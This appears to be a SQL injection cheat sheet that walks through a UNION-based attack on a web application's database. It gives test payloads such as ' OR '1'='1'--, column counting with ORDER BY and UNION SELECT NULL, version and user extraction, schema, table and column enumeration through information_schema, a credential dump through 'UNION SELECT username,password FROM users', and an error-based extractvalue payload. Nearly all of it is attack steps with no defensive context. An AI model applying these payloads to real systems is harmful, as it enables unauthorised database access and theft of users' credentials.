1. Insert ' or " to find out if the app is vulnerable and prints out an error message
Also test with '--, ';--, and ' OR '1'='1'-- to see different responses
2. Put closing comment to balance the payload, errors are not to be shown on the screen
Use -- (MySQL/MSSQL) or # (MySQL) or /**/ for comments
3. Use ORDER BY 1, ORDER BY 2, etc. until you get an error
Alternative: Use UNION SELECT NULL,NULL,NULL... increasing NULLs until no error
4. Find vulnerable column(s) by SELECTing all the columns got previously with ORDER BY clause (for example if found 6 columns, type SELECT 6)
Once you know column count (say 6), use: UNION SELECT 1,2,3,4,5,6
See which numbers appear on the page - those are the vulnerable/visible columns
5.Replace visible column numbers with functions like:
version(), user(), database()
@@version (MSSQL), banner from v$version (Oracle) to see database version and current user
6. Enumerate database through the vulnerable column (say 2 in this example):

When you determined there are (for example) 6 columns with ORDER BY, your UNION statement must have exactly the same number of columns. So if column 2 is vulnerable and you found 6 total columns, you'd structure it like:
UNION SELECT NULL, schema_name, NULL, NULL, NULL, NULL FROM information_schema.schemata
The NULL placeholders serve several purposes:

Column Count Matching - UNION requires identical column counts
Data Type Compatibility - NULL is compatible with any data type
Clean Output - NULLs typically display as empty/blank, keeping output readable

Alternative approaches for the other columns:
Instead of all NULLs, you could use:

Numbers: UNION SELECT 1, schema_name, 3, 4, 5, 6
Strings: UNION SELECT 'test', schema_name, 'test', 'test', 'test', 'test'
Multiple data points: UNION SELECT table_name, schema_name, column_name, NULL, NULL, NULL

If you get data type errors, try:

Convert to string: UNION SELECT NULL, CAST(schema_name AS CHAR), NULL...
Or use CONCAT: UNION SELECT NULL, CONCAT(schema_name,''), NULL...

The key is that whatever you put in each position must be compatible with the original query's column data types, and NULL is the safest universal placeholder.

7.Enumerate & exfiltrate data through vulnerable column(s):

List databases: UNION SELECT schema_name,NULL FROM information_schema.schemata
List tables: UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='database_name'
List columns: UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'
We can also extract actual data:
 UNION SELECT username,password FROM users
Error-Based Injection (when UNION doesn't work)

Use functions that cause errors to extract data
Example: extractvalue(1,concat(0x7e,version(),0x7e))